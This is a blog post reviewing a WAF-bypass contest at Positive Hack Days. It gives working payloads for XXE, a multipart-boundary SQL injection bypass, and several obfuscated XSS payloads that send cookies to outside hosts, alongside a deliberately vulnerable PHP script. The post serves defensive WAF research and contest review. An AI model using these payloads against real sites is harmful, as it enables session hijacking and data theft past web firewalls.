Pages

Monday, July 14, 2014

Review of WAF Bypass Tasks

This year, the visitors of the Positive Hack Days Forum were invited to have a shot at bypassing the PT Application Firewall in the contest called WAF Bypass. It was a good opportunity for us to test our product in action, because the forum gathered the best information security experts. We had prepared a set of tasks for the contest, each representing a script with a typical vulnerability.

The participants were invited to use these vulnerabilities to get flags.  All tasks were solvable, though some solutions were not obvious. The contestants were provided with the report about scanning the tasks' source code with another Positive Technologies product Application Inspector. In this article, we will consider the contest tasks, bypassing methods, and the experience we have obtained.


1. XXE

The first task included a PHP-based XMLRPC server vulnerable to XML External Entities Injection. Here is this vulnerability detected by the Application Inspector:


This task was warm-up and the Application Firewall was configured to block only simple XXE:

<!DOCTYPE input [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><input>&xxe;</input>

For example, a participant could obtain the flag using parameter entities:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "flag" >
%xxe;
]>
<body>
<method a='a'>test</method>
</body>

Another way was through DOCTYPE:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE body SYSTEM "flag">
<body><method>test</method></body>

2. SQL Injection

In this task, the goal was to obtain the flag from the database using SQL Injection. Most contestants tried to bypass the filter instead of paying attention to the hint: it was necessary to find a weakness in the WAF configuration, which was improper data normalization. In fact, data normalization is amongst the most serious problems of modern WAFs. Improper implementation can give attackers protocol-level ways of firewall bypassing. As Stefan Esser mentioned in his presentation Shocking News in PHP Exploitation far back in 2009, WAF developers try to create a general HTTP parser for all existing implementation, which is obviously impossible. The approach implemented in the PT Application Firewall consists in normalization considering back-end peculiarities. In the task, normalization was disabled, which made the following bypass possible:

POST /news.php HTTP/1.1
Host: task2.waf-bypass.phdays.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=------,xxxx
Content-Length: 191

------,xxxx
Content-Disposition: form-data; name="img"; filename="img.gif"

GIF89a
------
Content-Disposition: form-data; name="id"

1' union select null,null,flag,null from flag limit 1 offset 1-- -
--------
------,xxxx--

PHP has its own unique parser of multipart data that takes the part of the Content-Type header before comma as boundary, while normal parsers take the entire string. Therefore, if there is no proper normalization, then the WAF will not check the parameter because it will see a file in it. However, PHP will recognize a regular parameter instead of file input and the payload will be successfully delivered.

3. httpOnly

This one and all subsequent tasks were about client-side vulnerabilities. We developed a bot in Selenium that had special cookies with a flag. The goal was to steal these cookies.

HttpOnly is a cookie flag restricting access via non-HTTP means such as JavaScript (hence the task name).

Here is the vulnerable script code:

<h4>httpOnly bypass</h4>
<p>In this task you need to bypass httpOnly and steal bot cookies using
<a href="http://waf-bypass.phdays.com/#bot">http://waf-bypass.phdays.com/#bot</a>.
All XSS checks are disabled, but there is an intentional bug, try to find it!</p>

<?php

if(!isset($_GET['name'])) die("<p>Please provide name</p>");

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
  setcookie('flag', $_GET['name'] . '-' . file_get_contents('./flag'));
} else {
  setcookie('flag', $_GET['name'] . '-' . md5(mt_rand()));
}

echo '<p>' . $_GET['name'] . '</p>';

?>

Let us draw your attention to the following: the user value gets into the cookie value and the input data is reflected to the response body as is. It is evident that if the bot follows a link with XSS, it will not send its cookies, because the Application Firewall has set the httpOnly flag. To bypass this protection mechanism, it was necessary to specify the string "httpOnly" in the cookie value, so that the WAF decided that the flag had been already set and it's not necessary to add another one.

httponly.php?name=<script>document.location.href='http://sniffer.com?'%2bdocument.cookie</script>;HttpOnly

4. Anomaly

In this task, the contestants were invited to examine the mechanism of anomalies detection that uses machine-learning algorithms the PT Application Firewall is based on. A statistical model was trained on a very loose subset of samples, and so it became overfit (i.e. considering too large specter of values as legitimate). The bypass method was to generate such s string that will fit the parameters of the trained statistical model. In this case, there also was a Cross-Site Scripting vulnerability, but the httpOnly property wasn't set. Even such weakened statistical model was bypassed only by two contestants:

aaaaaaaaaaaa  ... [snip] ... aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaav%3Cvideo+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+src=//secsem.ru+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa+onerror=src%2b=document.cookie+aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaavaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa/%3E

It should be mentioned that to "dilute" special characters detected by the WAF, the value of a tag attribute in another attribute was addressed. The latter attribute was located far enough for the string not to go beyond the threshold.

5. RegEx

In this task, the goal was to bypass a filter that uses regular expressions and to steal the bot's cookie. The essential part of any traditional WAF are signatures based on regular expressions. Here, we saw once more that a good WAF shouldn't count on regexps only. Some bypass methods are given below:

<img src = http://dsec.ru/bitrix/templates/dsec/img/logo.png onload = \"\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.write('<im\\u0067 src = http://sergeybelove.ru?ccc='%2b\\u0064\\u006F\\u0063\\u0075\\u006D\\u0065\\u006E\\u0074.cooki\\u0065%2b'>')\">

1%3Cvideo%20%20src%3dx%20onerror%3d%0Asrc='ht'%2b'tp:'%2b'//'+d\\u006fcument['\\x63ookie']%3E%3C/video%3E

<svg onload=\"var xStuff=HTMLElement['con'%2b'structor'],yStuff=xStuff('var img=new'%2b' Ima'%2b'ge('%2b') ;im'%2b'g.sr'%2b'c=\\'http:/'%2b'/labs.tom.vg/cookie=\\'%2bdoc'%2b'ument.coo'%2b'kie;doc'%2b'ument.doc'%2b'umentEl'%2b'ement.appe'%2b'ndCh'%2b'ild'%2b'('%2b'img) ;'),zStuff=yStuff()\">

6. Sanitize

In the last task, the contestants were invited to implement XSS after having bypassed a protection system that consisted in encoding of input values reflected in responses into HTML entities.

GET /sanitize.php?name=<script>alert(1)</script> HTTP/1.0

->

HTTP/1.0 200 OK
...
Hello, &lt;script&gt;alert(1)&lt;/script&gt;!

It seems that such protection is perfect, but there was a way to bypass it. To find the value entered by a user, the search is performed through the entire HTTP-response body, which can include other HTML tags as well. The bypass idea was to trick the WAF into escaping the tags already present in the response so that the target payload wasn't filtered.

Results

The winner was a Moscow State University team consisting of Georgiy Noseevich, Andrey Petukhov, and Alexander Razdobarov. They managed to solve all the tasks! Ivan Novikov (d0znpp) took the second place and Tom Van Goethem, a speaker from Belgium, was the third. All the three medal places were awarded with valuable prizes: Apple iPad Air, Sony Xperia Z2, and an annual license for Burp Suite Pro, respectively.


A bit of statistics: during the two contest days, 122 644 requests were blocked, 101 contestants registered and only 11 of them managed to obtain at least one flag.

Day one dynamics


Day two dynamics


Statistics by attacks


Statistics by tasks


By the way, we implemented cool visualization with logstalgia for this contest.



There we have it :)

Arseniy Reutov, Dmitriy Nagibin and PT Application Firewall Team

4 comments:

  1. Great.. I like this blog with variety article post. Really good.
    Best essay writing service

    ReplyDelete